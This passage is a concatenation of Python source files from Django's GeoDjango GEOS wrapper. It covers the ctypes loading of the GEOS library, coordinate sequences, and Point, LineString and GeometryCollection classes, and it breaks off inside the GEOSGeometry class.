        # we're not changing the length of the sequence
        newLen = len(self)
        newVals = dict(zip(indexList, valueList))

        def newItems():
            for i in range(newLen):
                if i in newVals:
                    yield newVals[i]
                else:
                    yield self._get_single_internal(i)

        self._rebuild(newLen, newItems())

    def _assign_extended_slice(self, start, stop, step, valueList):
        'Assign an extended slice by re-assigning individual items'
        indexList = range(start, stop, step)
        # extended slice, only allow assigning slice of same size
        if len(valueList) != len(indexList):
            raise ValueError('attempt to assign sequence of size %d '
                             'to extended slice of size %d'
                             % (len(valueList), len(indexList)))

        for i, val in zip(indexList, valueList):
            self._set_single(i, val)

    def _assign_simple_slice(self, start, stop, valueList):
        'Assign a simple slice; Can assign slice of any length'
        origLen = len(self)
        stop = max(start, stop)
        newLen = origLen - stop + start + len(valueList)

        def newItems():
            for i in range(origLen + 1):
                if i == start:
                    for val in valueList:
                        yield val

                if i < origLen:
                    if i < start or i >= stop:
                        yield self._get_single_internal(i)

        self._rebuild(newLen, newItems())






"""
 This module houses the ctypes initialization procedures, as well
 as the notice and error handler function callbacks (get called
 when an error occurs in GEOS).

 This module also houses GEOS Pointer utilities, including
 get_pointer_arr(), and GEOM_PTR.
"""
import logging
import os
import re
from ctypes import CDLL, CFUNCTYPE, POINTER, Structure, c_char_p
from ctypes.util import find_library

from django.contrib.gis.geos.error import GEOSException
from django.core.exceptions import ImproperlyConfigured
from django.utils.functional import SimpleLazyObject

logger = logging.getLogger('django.contrib.gis')


def load_geos():
    # Custom library path set?
    try:
        from django.conf import settings
        lib_path = settings.GEOS_LIBRARY_PATH
    except (AttributeError, EnvironmentError,
            ImportError, ImproperlyConfigured):
        lib_path = None

    # Setting the appropriate names for the GEOS-C library.
    if lib_path:
        lib_names = None
    elif os.name == 'nt':
        # Windows NT libraries
        lib_names = ['geos_c', 'libgeos_c-1']
    elif os.name == 'posix':
        # *NIX libraries
        lib_names = ['geos_c', 'GEOS']
    else:
        raise ImportError('Unsupported OS "%s"' % os.name)

    # Using the ctypes `find_library` utility to find the path to the GEOS
    # shared library.  This is better than manually specifying each library name
    # and extension (e.g., libgeos_c.[so|so.1|dylib].).
    if lib_names:
        for lib_name in lib_names:
            lib_path = find_library(lib_name)
            if lib_path is not None:
                break

    # No GEOS library could be found.
    if lib_path is None:
        raise ImportError(
            'Could not find the GEOS library (tried "%s"). '
            'Try setting GEOS_LIBRARY_PATH in your settings.' %
            '", "'.join(lib_names)
        )
    # Getting the GEOS C library.  The C interface (CDLL) is used for
    # both *NIX and Windows.
    # See the GEOS C API source code for more details on the library function calls:
    #  http://geos.refractions.net/ro/doxygen_docs/html/geos__c_8h-source.html
    _lgeos = CDLL(lib_path)
    # Here we set up the prototypes for the initGEOS_r and finishGEOS_r
    # routines.  These functions aren't actually called until they are
    # attached to a GEOS context handle -- this actually occurs in
    # geos/prototypes/threadsafe.py.
    _lgeos.initGEOS_r.restype = CONTEXT_PTR
    _lgeos.finishGEOS_r.argtypes = [CONTEXT_PTR]
    return _lgeos


# The notice and error handler C function callback definitions.
# Supposed to mimic the GEOS message handler (C below):
#  typedef void (*GEOSMessageHandler)(const char *fmt, ...);
NOTICEFUNC = CFUNCTYPE(None, c_char_p, c_char_p)


def notice_h(fmt, lst):
    fmt, lst = fmt.decode(), lst.decode()
    try:
        warn_msg = fmt % lst
    except TypeError:
        warn_msg = fmt
    logger.warning('GEOS_NOTICE: %s\n', warn_msg)
notice_h = NOTICEFUNC(notice_h)

ERRORFUNC = CFUNCTYPE(None, c_char_p, c_char_p)


def error_h(fmt, lst):
    fmt, lst = fmt.decode(), lst.decode()
    try:
        err_msg = fmt % lst
    except TypeError:
        err_msg = fmt
    logger.error('GEOS_ERROR: %s\n', err_msg)
error_h = ERRORFUNC(error_h)

# #### GEOS Geometry C data structures, and utility functions. ####


# Opaque GEOS geometry structures, used for GEOM_PTR and CS_PTR
class GEOSGeom_t(Structure):
    pass


class GEOSPrepGeom_t(Structure):
    pass


class GEOSCoordSeq_t(Structure):
    pass


class GEOSContextHandle_t(Structure):
    pass

# Pointers to opaque GEOS geometry structures.
GEOM_PTR = POINTER(GEOSGeom_t)
PREPGEOM_PTR = POINTER(GEOSPrepGeom_t)
CS_PTR = POINTER(GEOSCoordSeq_t)
CONTEXT_PTR = POINTER(GEOSContextHandle_t)


# Used specifically by the GEOSGeom_createPolygon and GEOSGeom_createCollection
#  GEOS routines
def get_pointer_arr(n):
    "Gets a ctypes pointer array (of length `n`) for GEOSGeom_t opaque pointer."
    GeomArr = GEOM_PTR * n
    return GeomArr()


lgeos = SimpleLazyObject(load_geos)


class GEOSFuncFactory(object):
    """
    Lazy loading of GEOS functions.
    """
    argtypes = None
    restype = None
    errcheck = None

    def __init__(self, func_name, *args, **kwargs):
        self.func_name = func_name
        self.restype = kwargs.pop('restype', self.restype)
        self.errcheck = kwargs.pop('errcheck', self.errcheck)
        self.argtypes = kwargs.pop('argtypes', self.argtypes)
        self.args = args
        self.kwargs = kwargs
        self.func = None

    def __call__(self, *args, **kwargs):
        if self.func is None:
            self.func = self.get_func(*self.args, **self.kwargs)
        return self.func(*args, **kwargs)

    def get_func(self, *args, **kwargs):
        from django.contrib.gis.geos.prototypes.threadsafe import GEOSFunc
        func = GEOSFunc(self.func_name)
        func.argtypes = self.argtypes or []
        func.restype = self.restype
        if self.errcheck:
            func.errcheck = self.errcheck
        return func


# Returns the string version of the GEOS library. Have to set the restype
# explicitly to c_char_p to ensure compatibility across 32 and 64-bit platforms.
geos_version = GEOSFuncFactory('GEOSversion', restype=c_char_p)

# Regular expression should be able to parse version strings such as
# '3.0.0rc4-CAPI-1.3.3', '3.0.0-CAPI-1.4.1', '3.4.0dev-CAPI-1.8.0' or '3.4.0dev-CAPI-1.8.0 r0'
version_regex = re.compile(
    r'^(?P<version>(?P<major>\d+)\.(?P<minor>\d+)\.(?P<subminor>\d+))'
    r'((rc(?P<release_candidate>\d+))|dev)?-CAPI-(?P<capi_version>\d+\.\d+\.\d+)( r\d+)?$'
)


def geos_version_info():
    """
    Returns a dictionary containing the various version metadata parsed from
    the GEOS version string, including the version number, whether the version
    is a release candidate (and what number release candidate), and the C API
    version.
    """
    ver = geos_version().decode()
    m = version_regex.match(ver)
    if not m:
        raise GEOSException('Could not parse version info string "%s"' % ver)
    return {key: m.group(key) for key in (
        'version', 'release_candidate', 'capi_version', 'major', 'minor', 'subminor')}






"""
 This module houses the Geometry Collection objects:
 GeometryCollection, MultiPoint, MultiLineString, and MultiPolygon
"""
import json
import warnings
from ctypes import byref, c_int, c_uint

from django.contrib.gis.geos import prototypes as capi
from django.contrib.gis.geos.error import GEOSException
from django.contrib.gis.geos.geometry import GEOSGeometry, LinearGeometryMixin
from django.contrib.gis.geos.libgeos import geos_version_info, get_pointer_arr
from django.contrib.gis.geos.linestring import LinearRing, LineString
from django.contrib.gis.geos.point import Point
from django.contrib.gis.geos.polygon import Polygon
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.six.moves import range


class GeometryCollection(GEOSGeometry):
    _typeid = 7

    def __init__(self, *args, **kwargs):
        "Initializes a Geometry Collection from a sequence of Geometry objects."

        # Checking the arguments
        if len(args) == 1:
            # If only one geometry provided or a list of geometries is provided
            #  in the first argument.
            if isinstance(args[0], (tuple, list)):
                init_geoms = args[0]
            else:
                init_geoms = args
        else:
            init_geoms = args

        # Ensuring that only the permitted geometries are allowed in this collection
        # this is moved to list mixin super class
        self._check_allowed(init_geoms)

        # Creating the geometry pointer array.
        collection = self._create_collection(len(init_geoms), iter(init_geoms))
        super(GeometryCollection, self).__init__(collection, **kwargs)

    def __iter__(self):
        "Iterates over each Geometry in the Collection."
        for i in range(len(self)):
            yield self[i]

    def __len__(self):
        "Returns the number of geometries in this Collection."
        return self.num_geom

    # ### Methods for compatibility with ListMixin ###
    def _create_collection(self, length, items):
        # Creating the geometry pointer array.
        geoms = get_pointer_arr(length)
        for i, g in enumerate(items):
            # this is a little sloppy, but makes life easier
            # allow GEOSGeometry types (python wrappers) or pointer types
            geoms[i] = capi.geom_clone(getattr(g, 'ptr', g))

        return capi.create_collection(c_int(self._typeid), byref(geoms), c_uint(length))

    def _get_single_internal(self, index):
        return capi.get_geomn(self.ptr, index)

    def _get_single_external(self, index):
        "Returns the Geometry from this Collection at the given index (0-based)."
        # Checking the index and returning the corresponding GEOS geometry.
        return GEOSGeometry(capi.geom_clone(self._get_single_internal(index)), srid=self.srid)

    def _set_list(self, length, items):
        "Create a new collection, and destroy the contents of the previous pointer."
        prev_ptr = self.ptr
        srid = self.srid
        self.ptr = self._create_collection(length, items)
        if srid:
            self.srid = srid
        capi.destroy_geom(prev_ptr)

    _set_single = GEOSGeometry._set_single_rebuild
    _assign_extended_slice = GEOSGeometry._assign_extended_slice_rebuild

    @property
    def json(self):
        if self.__class__.__name__ == 'GeometryCollection':
            return json.dumps({
                'type': self.__class__.__name__,
                'geometries': [
                    {'type': geom.__class__.__name__, 'coordinates': geom.coords}
                    for geom in self
                ],
            })
        return super(GeometryCollection, self).json
    geojson = json

    @property
    def kml(self):
        "Returns the KML for this Geometry Collection."
        return '<MultiGeometry>%s</MultiGeometry>' % ''.join(g.kml for g in self)

    @property
    def tuple(self):
        "Returns a tuple of all the coordinates in this Geometry Collection"
        return tuple(g.tuple for g in self)
    coords = tuple


# MultiPoint, MultiLineString, and MultiPolygon class definitions.
class MultiPoint(GeometryCollection):
    _allowed = Point
    _typeid = 4


class MultiLineString(LinearGeometryMixin, GeometryCollection):
    _allowed = (LineString, LinearRing)
    _typeid = 5

    @property
    def closed(self):
        if geos_version_info()['version'] < '3.5':
            raise GEOSException("MultiLineString.closed requires GEOS >= 3.5.0.")
        return super(MultiLineString, self).closed


class MultiPolygon(GeometryCollection):
    _allowed = Polygon
    _typeid = 6

    @property
    def cascaded_union(self):
        "Returns a cascaded union of this MultiPolygon."
        warnings.warn(
            "`cascaded_union` is deprecated, use the `unary_union` property instead.",
            RemovedInDjango20Warning, 2
        )
        return GEOSGeometry(capi.geos_cascaded_union(self.ptr), self.srid)

# Setting the allowed types here since GeometryCollection is defined before
# its subclasses.
GeometryCollection._allowed = (Point, LineString, LinearRing, Polygon, MultiPoint, MultiLineString, MultiPolygon)






"""
 This module houses the GEOSCoordSeq object, which is used internally
 by GEOSGeometry to house the actual coordinates of the Point,
 LineString, and LinearRing geometries.
"""
from ctypes import byref, c_double, c_uint

from django.contrib.gis.geos import prototypes as capi
from django.contrib.gis.geos.base import GEOSBase
from django.contrib.gis.geos.error import GEOSException
from django.contrib.gis.geos.libgeos import CS_PTR
from django.contrib.gis.shortcuts import numpy
from django.utils.six.moves import range


class GEOSCoordSeq(GEOSBase):
    "The internal representation of a list of coordinates inside a Geometry."

    ptr_type = CS_PTR

    def __init__(self, ptr, z=False):
        "Initializes from a GEOS pointer."
        if not isinstance(ptr, CS_PTR):
            raise TypeError('Coordinate sequence should initialize with a CS_PTR.')
        self._ptr = ptr
        self._z = z

    def __iter__(self):
        "Iterates over each point in the coordinate sequence."
        for i in range(self.size):
            yield self[i]

    def __len__(self):
        "Returns the number of points in the coordinate sequence."
        return int(self.size)

    def __str__(self):
        "Returns the string representation of the coordinate sequence."
        return str(self.tuple)

    def __getitem__(self, index):
        "Returns the coordinate sequence value at the given index."
        coords = [self.getX(index), self.getY(index)]
        if self.dims == 3 and self._z:
            coords.append(self.getZ(index))
        return tuple(coords)

    def __setitem__(self, index, value):
        "Sets the coordinate sequence value at the given index."
        # Checking the input value
        if isinstance(value, (list, tuple)):
            pass
        elif numpy and isinstance(value, numpy.ndarray):
            pass
        else:
            raise TypeError('Must set coordinate with a sequence (list, tuple, or numpy array).')
        # Checking the dims of the input
        if self.dims == 3 and self._z:
            n_args = 3
            set_3d = True
        else:
            n_args = 2
            set_3d = False
        if len(value) != n_args:
            raise TypeError('Dimension of value does not match.')
        # Setting the X, Y, Z
        self.setX(index, value[0])
        self.setY(index, value[1])
        if set_3d:
            self.setZ(index, value[2])

    # #### Internal Routines ####
    def _checkindex(self, index):
        "Checks the given index."
        sz = self.size
        if (sz < 1) or (index < 0) or (index >= sz):
            raise IndexError('invalid GEOS Geometry index: %s' % str(index))

    def _checkdim(self, dim):
        "Checks the given dimension."
        if dim < 0 or dim > 2:
            raise GEOSException('invalid ordinate dimension "%d"' % dim)

    # #### Ordinate getting and setting routines ####
    def getOrdinate(self, dimension, index):
        "Returns the value for the given dimension and index."
        self._checkindex(index)
        self._checkdim(dimension)
        return capi.cs_getordinate(self.ptr, index, dimension, byref(c_double()))

    def setOrdinate(self, dimension, index, value):
        "Sets the value for the given dimension and index."
        self._checkindex(index)
        self._checkdim(dimension)
        capi.cs_setordinate(self.ptr, index, dimension, value)

    def getX(self, index):
        "Get the X value at the index."
        return self.getOrdinate(0, index)

    def setX(self, index, value):
        "Set X with the value at the given index."
        self.setOrdinate(0, index, value)

    def getY(self, index):
        "Get the Y value at the given index."
        return self.getOrdinate(1, index)

    def setY(self, index, value):
        "Set Y with the value at the given index."
        self.setOrdinate(1, index, value)

    def getZ(self, index):
        "Get Z with the value at the given index."
        return self.getOrdinate(2, index)

    def setZ(self, index, value):
        "Set Z with the value at the given index."
        self.setOrdinate(2, index, value)

    # ### Dimensions ###
    @property
    def size(self):
        "Returns the size of this coordinate sequence."
        return capi.cs_getsize(self.ptr, byref(c_uint()))

    @property
    def dims(self):
        "Returns the dimensions of this coordinate sequence."
        return capi.cs_getdims(self.ptr, byref(c_uint()))

    @property
    def hasz(self):
        """
        Returns whether this coordinate sequence is 3D.  This property value is
        inherited from the parent Geometry.
        """
        return self._z

    # ### Other Methods ###
    def clone(self):
        "Clones this coordinate sequence."
        return GEOSCoordSeq(capi.cs_clone(self.ptr), self.hasz)

    @property
    def kml(self):
        "Returns the KML representation for the coordinates."
        # Getting the substitution string depending on whether the coordinates have
        #  a Z dimension.
        if self.hasz:
            substr = '%s,%s,%s '
        else:
            substr = '%s,%s,0 '
        return '<coordinates>%s</coordinates>' % \
            ''.join(substr % self[i] for i in range(len(self))).strip()

    @property
    def tuple(self):
        "Returns a tuple version of this coordinate sequence."
        n = self.size
        if n == 1:
            return self[0]
        else:
            return tuple(self[i] for i in range(n))






from django.contrib.gis.geos.geometry import GEOSGeometry, hex_regex, wkt_regex
from django.utils import six


def fromfile(file_h):
    """
    Given a string file name, returns a GEOSGeometry. The file may contain WKB,
    WKT, or HEX.
    """
    # If given a file name, get a real handle.
    if isinstance(file_h, six.string_types):
        with open(file_h, 'rb') as file_h:
            buf = file_h.read()
    else:
        buf = file_h.read()

    # If we get WKB need to wrap in memoryview(), so run through regexes.
    if isinstance(buf, bytes):
        try:
            decoded = buf.decode()
            if wkt_regex.match(decoded) or hex_regex.match(decoded):
                return GEOSGeometry(decoded)
        except UnicodeDecodeError:
            pass
    else:
        return GEOSGeometry(buf)

    return GEOSGeometry(six.memoryview(buf))


def fromstr(string, **kwargs):
    "Given a string value, returns a GEOSGeometry object."
    return GEOSGeometry(string, **kwargs)






from ctypes import c_void_p

from django.contrib.gis.geos.error import GEOSException


class GEOSBase(object):
    """
    Base object for GEOS objects that has a pointer access property
    that controls access to the underlying C pointer.
    """
    # Initially the pointer is NULL.
    _ptr = None

    # Default allowed pointer type.
    ptr_type = c_void_p

    # Pointer access property.
    def _get_ptr(self):
        # Raise an exception if the pointer isn't valid don't
        # want to be passing NULL pointers to routines --
        # that's very bad.
        if self._ptr:
            return self._ptr
        else:
            raise GEOSException('NULL GEOS %s pointer encountered.' % self.__class__.__name__)

    def _set_ptr(self, ptr):
        # Only allow the pointer to be set with pointers of the
        # compatible type or None (NULL).
        if ptr is None or isinstance(ptr, self.ptr_type):
            self._ptr = ptr
        else:
            raise TypeError('Incompatible pointer type')

    # Property for controlling access to the GEOS object pointers.  Using
    # this raises an exception when the pointer is NULL, thus preventing
    # the C library from attempting to access an invalid memory location.
    ptr = property(_get_ptr, _set_ptr)






"""
Module that holds classes for performing I/O operations on GEOS geometry
objects.  Specifically, this has Python implementations of WKB/WKT
reader and writer classes.
"""
from django.contrib.gis.geos.geometry import GEOSGeometry
from django.contrib.gis.geos.prototypes.io import (
    WKBWriter, WKTWriter, _WKBReader, _WKTReader,
)

__all__ = ['WKBWriter', 'WKTWriter', 'WKBReader', 'WKTReader']


# Public classes for (WKB|WKT)Reader, which return GEOSGeometry
class WKBReader(_WKBReader):
    def read(self, wkb):
        "Returns a GEOSGeometry for the given WKB buffer."
        return GEOSGeometry(super(WKBReader, self).read(wkb))


class WKTReader(_WKTReader):
    def read(self, wkt):
        "Returns a GEOSGeometry for the given WKT string."
        return GEOSGeometry(super(WKTReader, self).read(wkt))






import warnings
from ctypes import c_uint

from django.contrib.gis.geos import prototypes as capi
from django.contrib.gis.geos.error import GEOSException
from django.contrib.gis.geos.geometry import GEOSGeometry
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.six.moves import range


class Point(GEOSGeometry):
    _minlength = 2
    _maxlength = 3
    has_cs = True

    def __init__(self, x=None, y=None, z=None, srid=None):
        """
        The Point object may be initialized with either a tuple, or individual
        parameters.

        For Example:
        >>> p = Point((5, 23)) # 2D point, passed in as a tuple
        >>> p = Point(5, 23, 8) # 3D point, passed in with individual parameters
        """
        if x is None:
            coords = []
        elif isinstance(x, (tuple, list)):
            # Here a tuple or list was passed in under the `x` parameter.
            coords = x
        elif isinstance(x, six.integer_types + (float,)) and isinstance(y, six.integer_types + (float,)):
            # Here X, Y, and (optionally) Z were passed in individually, as parameters.
            if isinstance(z, six.integer_types + (float,)):
                coords = [x, y, z]
            else:
                coords = [x, y]
        else:
            raise TypeError('Invalid parameters given for Point initialization.')

        point = self._create_point(len(coords), coords)

        # Initializing using the address returned from the GEOS
        #  createPoint factory.
        super(Point, self).__init__(point, srid=srid)

    def _create_point(self, ndim, coords):
        """
        Create a coordinate sequence, set X, Y, [Z], and create point
        """
        if not ndim:
            return capi.create_point(None)

        if ndim < 2 or ndim > 3:
            raise TypeError('Invalid point dimension: %s' % str(ndim))

        cs = capi.create_cs(c_uint(1), c_uint(ndim))
        i = iter(coords)
        capi.cs_setx(cs, 0, next(i))
        capi.cs_sety(cs, 0, next(i))
        if ndim == 3:
            capi.cs_setz(cs, 0, next(i))

        return capi.create_point(cs)

    def _set_list(self, length, items):
        ptr = self._create_point(length, items)
        if ptr:
            capi.destroy_geom(self.ptr)
            self._ptr = ptr
            self._set_cs()
        else:
            # can this happen?
            raise GEOSException('Geometry resulting from slice deletion was invalid.')

    def _set_single(self, index, value):
        self._cs.setOrdinate(index, 0, value)

    def __iter__(self):
        "Allows iteration over coordinates of this Point."
        for i in range(len(self)):
            yield self[i]

    def __len__(self):
        "Returns the number of dimensions for this Point (either 0, 2 or 3)."
        if self.empty:
            return 0
        if self.hasz:
            return 3
        else:
            return 2

    def _get_single_external(self, index):
        if index == 0:
            return self.x
        elif index == 1:
            return self.y
        elif index == 2:
            return self.z

    _get_single_internal = _get_single_external

    @property
    def x(self):
        "Returns the X component of the Point."
        return self._cs.getOrdinate(0, 0)

    @x.setter
    def x(self, value):
        "Sets the X component of the Point."
        self._cs.setOrdinate(0, 0, value)

    @property
    def y(self):
        "Returns the Y component of the Point."
        return self._cs.getOrdinate(1, 0)

    @y.setter
    def y(self, value):
        "Sets the Y component of the Point."
        self._cs.setOrdinate(1, 0, value)

    @property
    def z(self):
        "Returns the Z component of the Point."
        return self._cs.getOrdinate(2, 0) if self.hasz else None

    @z.setter
    def z(self, value):
        "Sets the Z component of the Point."
        if not self.hasz:
            raise GEOSException('Cannot set Z on 2D Point.')
        self._cs.setOrdinate(2, 0, value)

    def get_x(self):
        warnings.warn(
            "`get_x()` is deprecated, use the `x` property instead.",
            RemovedInDjango20Warning, 2
        )
        return self.x

    def set_x(self, value):
        warnings.warn(
            "`set_x()` is deprecated, use the `x` property instead.",
            RemovedInDjango20Warning, 2
        )
        self.x = value

    def get_y(self):
        warnings.warn(
            "`get_y()` is deprecated, use the `y` property instead.",
            RemovedInDjango20Warning, 2
        )
        return self.y

    def set_y(self, value):
        warnings.warn(
            "`set_y()` is deprecated, use the `y` property instead.",
            RemovedInDjango20Warning, 2
        )
        self.y = value

    def get_z(self):
        warnings.warn(
            "`get_z()` is deprecated, use the `z` property instead.",
            RemovedInDjango20Warning, 2
        )
        return self.z

    def set_z(self, value):
        warnings.warn(
            "`set_z()` is deprecated, use the `z` property instead.",
            RemovedInDjango20Warning, 2
        )
        self.z = value

    # ### Tuple setting and retrieval routines. ###
    @property
    def tuple(self):
        "Returns a tuple of the point."
        return self._cs.tuple

    @tuple.setter
    def tuple(self, tup):
        "Sets the coordinates of the point with the given tuple."
        self._cs[0] = tup

    def get_coords(self):
        warnings.warn(
            "`get_coords()` is deprecated, use the `tuple` property instead.",
            RemovedInDjango20Warning, 2
        )
        return self.tuple

    def set_coords(self, tup):
        warnings.warn(
            "`set_coords()` is deprecated, use the `tuple` property instead.",
            RemovedInDjango20Warning, 2
        )
        self.tuple = tup

    # The tuple and coords properties
    coords = tuple






from django.contrib.gis.geos import prototypes as capi
from django.contrib.gis.geos.coordseq import GEOSCoordSeq
from django.contrib.gis.geos.error import GEOSException
from django.contrib.gis.geos.geometry import GEOSGeometry, LinearGeometryMixin
from django.contrib.gis.geos.point import Point
from django.contrib.gis.shortcuts import numpy
from django.utils.six.moves import range


class LineString(LinearGeometryMixin, GEOSGeometry):
    _init_func = capi.create_linestring
    _minlength = 2
    has_cs = True

    def __init__(self, *args, **kwargs):
        """
        Initializes on the given sequence -- may take lists, tuples, NumPy arrays
        of X,Y pairs, or Point objects.  If Point objects are used, ownership is
        _not_ transferred to the LineString object.

        Examples:
         ls = LineString((1, 1), (2, 2))
         ls = LineString([(1, 1), (2, 2)])
         ls = LineString(array([(1, 1), (2, 2)]))
         ls = LineString(Point(1, 1), Point(2, 2))
        """
        # If only one argument provided, set the coords array appropriately
        if len(args) == 1:
            coords = args[0]
        else:
            coords = args

        if not (isinstance(coords, (tuple, list)) or numpy and isinstance(coords, numpy.ndarray)):
            raise TypeError('Invalid initialization input for LineStrings.')

        # If SRID was passed in with the keyword arguments
        srid = kwargs.get('srid')

        ncoords = len(coords)
        if not ncoords:
            super(LineString, self).__init__(self._init_func(None), srid=srid)
            return

        if ncoords < self._minlength:
            raise ValueError(
                '%s requires at least %d points, got %s.' % (
                    self.__class__.__name__,
                    self._minlength,
                    ncoords,
                )
            )

        if isinstance(coords, (tuple, list)):
            # Getting the number of coords and the number of dimensions -- which
            #  must stay the same, e.g., no LineString((1, 2), (1, 2, 3)).
            ndim = None
            # Incrementing through each of the coordinates and verifying
            for coord in coords:
                if not isinstance(coord, (tuple, list, Point)):
                    raise TypeError('Each coordinate should be a sequence (list or tuple)')

                if ndim is None:
                    ndim = len(coord)
                    self._checkdim(ndim)
                elif len(coord) != ndim:
                    raise TypeError('Dimension mismatch.')
            numpy_coords = False
        else:
            shape = coords.shape  # Using numpy's shape.
            if len(shape) != 2:
                raise TypeError('Too many dimensions.')
            self._checkdim(shape[1])
            ndim = shape[1]
            numpy_coords = True

        # Creating a coordinate sequence object because it is easier to
        # set the points using GEOSCoordSeq.__setitem__().
        cs = GEOSCoordSeq(capi.create_cs(ncoords, ndim), z=bool(ndim == 3))

        for i in range(ncoords):
            if numpy_coords:
                cs[i] = coords[i, :]
            elif isinstance(coords[i], Point):
                cs[i] = coords[i].tuple
            else:
                cs[i] = coords[i]

        # Calling the base geometry initialization with the returned pointer
        #  from the function.
        super(LineString, self).__init__(self._init_func(cs.ptr), srid=srid)

    def __iter__(self):
        "Allows iteration over this LineString."
        for i in range(len(self)):
            yield self[i]

    def __len__(self):
        "Returns the number of points in this LineString."
        return len(self._cs)

    def _get_single_external(self, index):
        return self._cs[index]

    _get_single_internal = _get_single_external

    def _set_list(self, length, items):
        ndim = self._cs.dims
        hasz = self._cs.hasz  # I don't understand why these are different

        # create a new coordinate sequence and populate accordingly
        cs = GEOSCoordSeq(capi.create_cs(length, ndim), z=hasz)
        for i, c in enumerate(items):
            cs[i] = c

        ptr = self._init_func(cs.ptr)
        if ptr:
            capi.destroy_geom(self.ptr)
            self.ptr = ptr
            self._post_init(self.srid)
        else:
            # can this happen?
            raise GEOSException('Geometry resulting from slice deletion was invalid.')

    def _set_single(self, index, value):
        self._checkindex(index)
        self._cs[index] = value

    def _checkdim(self, dim):
        if dim not in (2, 3):
            raise TypeError('Dimension mismatch.')

    # #### Sequence Properties ####
    @property
    def tuple(self):
        "Returns a tuple version of the geometry from the coordinate sequence."
        return self._cs.tuple
    coords = tuple

    def _listarr(self, func):
        """
        Internal routine that returns a sequence (list) corresponding with
        the given function.  Will return a numpy array if possible.
        """
        lst = [func(i) for i in range(len(self))]
        if numpy:
            return numpy.array(lst)  # ARRRR!
        else:
            return lst

    @property
    def array(self):
        "Returns a numpy array for the LineString."
        return self._listarr(self._cs.__getitem__)

    @property
    def x(self):
        "Returns a list or numpy array of the X variable."
        return self._listarr(self._cs.getX)

    @property
    def y(self):
        "Returns a list or numpy array of the Y variable."
        return self._listarr(self._cs.getY)

    @property
    def z(self):
        "Returns a list or numpy array of the Z variable."
        if not self.hasz:
            return None
        else:
            return self._listarr(self._cs.getZ)


# LinearRings are LineStrings used within Polygons.
class LinearRing(LineString):
    _minlength = 4
    _init_func = capi.create_linearring






"""
The GeoDjango GEOS module.  Please consult the GeoDjango documentation
for more details: https://docs.djangoproject.com/en/dev/ref/contrib/gis/geos/
"""
from .collections import (  # NOQA
    GeometryCollection, MultiLineString, MultiPoint, MultiPolygon,
)
from .error import GEOSException  # NOQA
from .factory import fromfile, fromstr  # NOQA
from .geometry import GEOSGeometry, hex_regex, wkt_regex  # NOQA
from .io import WKBReader, WKBWriter, WKTReader, WKTWriter  # NOQA
from .libgeos import geos_version, geos_version_info  # NOQA
from .linestring import LinearRing, LineString  # NOQA
from .point import Point  # NOQA
from .polygon import Polygon  # NOQA

try:
    HAS_GEOS = geos_version_info()['version'] >= '3.3.0'
except ImportError:
    HAS_GEOS = False






"""
 This module contains the 'base' GEOSGeometry object -- all GEOS Geometries
 inherit from this object.
"""
from __future__ import unicode_literals

import json
import warnings
from ctypes import addressof, byref, c_double

from django.contrib.gis import gdal
from django.contrib.gis.geometry.regex import hex_regex, json_regex, wkt_regex
from django.contrib.gis.geos import prototypes as capi
from django.contrib.gis.geos.base import GEOSBase
from django.contrib.gis.geos.coordseq import GEOSCoordSeq
from django.contrib.gis.geos.error import GEOSException
from django.contrib.gis.geos.libgeos import GEOM_PTR
from django.contrib.gis.geos.mutable_list import ListMixin
from django.contrib.gis.geos.prepared import PreparedGeometry
from django.contrib.gis.geos.prototypes.io import (
    ewkb_w, wkb_r, wkb_w, wkt_r, wkt_w,
)
from django.utils import six
from django.utils.deconstruct import deconstructible
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_bytes, force_text


@deconstructible
class GEOSGeometry(GEOSBase, ListMixin):
    "A class that, generally, encapsulates a GEOS geometry."

    _GEOS_CLASSES = None

    ptr_type = GEOM_PTR
    has_cs = False  # Only Point, LineString, LinearRing have coordinate sequences

    def __init__(self, geo_input, srid=None):
        """
        The base constructor for GEOS geometry objects, and may take the
        following inputs:

         * strings:
            - WKT
            - HEXEWKB (a PostGIS-specific canonical form)
            - GeoJSON (requires GDAL)
         * buffer:
            - WKB

        The `srid` keyword is used to specify the Source Reference Identifier
        (SRID) number for this Geometry.  If not set, the SRID will be None.
        """
        if isinstance(geo_input, bytes):
            geo_input = force_text(geo_input)
        if isinstance(geo_input, six.string_types):
            wkt_m = wkt_regex.match(geo_input)
            if wkt_m:
                # Handling WKT input.
                if wkt_m.group('srid'):
                    srid = int(wkt_m.group('srid'))
                g = wkt_r().read(force_bytes(wkt_m.group('wkt')))
            elif hex_regex.match(geo_input):
                # Handling HEXEWKB input.
                g = wkb_r().read(force_bytes(geo_input))
            elif json_regex.match(geo_input):
                # Handling GeoJSON input.
                g = wkb_r().read(gdal.OGRGeometry(geo_input).wkb)
            else:
                raise ValueError('String or unicode input unrecognized as WKT EWKT, and HEXEWKB.')
        elif isinstance(geo_input, GEOM_PTR):
            # When the input is a pointer to a geometry (GEOM_PTR).
            g = geo_input
        elif isinstance(geo_input, six.memoryview):
            # When the input is a buffer (WKB).
            g = wkb_r().read(geo_input)
        elif isinstance(geo_input, GEOSGeometry):
            g = capi.geom_clone(geo_input.ptr)
        else:
            # Invalid geometry type.
            raise TypeError('Improper geometry input type: %s' % str(type(geo_input)))

        if g:
            # Setting the pointer object with a valid pointer.
            self.ptr = g
        else:
            raise GEOSException('Could not initialize GEOS Geometry with given input.')

        # Post-initialization setup.
        self._post_init(srid)

    def _post_init(self, srid):
        "Helper routine for performing post-initialization setup."
        # Setting the SRID, if given.
        if srid and isinstance(srid, int):
            self.srid = srid

        # Setting the class type (e.g., Point, Polygon, etc.)
        if GEOSGeometry._GEOS_CLASSES is None:
            # Lazy-loaded variable to avoid import conflicts with GEOSGeometry.
            from .linestring import LineString, LinearRing
            from .point import Point
            from .polygon import Polygon
            from .collections import (
                GeometryCollection, MultiPoint, MultiLineString, MultiPolygon)
            GEOSGeometry._GEOS_CLASSES = {
                0: Point,
                1: LineString,
                2: LinearRing,
                3: Polygon,
                4: MultiPoint,
                5: MultiLineString,
                6: MultiPolygon,
                7: GeometryCollection,
            }
        self.__class__ = GEOSGeometry._GEOS_CLASSES[self.geom_typeid]

        # Setting the coordinate sequence for the geometry (will be None on
        # geometries that do not have coordinate sequences)
        self._set_cs()

    def __del__(self):
        """
        Destroys this Geometry; in other words, frees the memory used by the
        GEOS C++ object.
        """
        try:
            capi.destroy_geom(self._ptr)
        except (AttributeError, TypeError):
            pass  # Some part might already have been garbage collected

    def __copy__(self):
        """
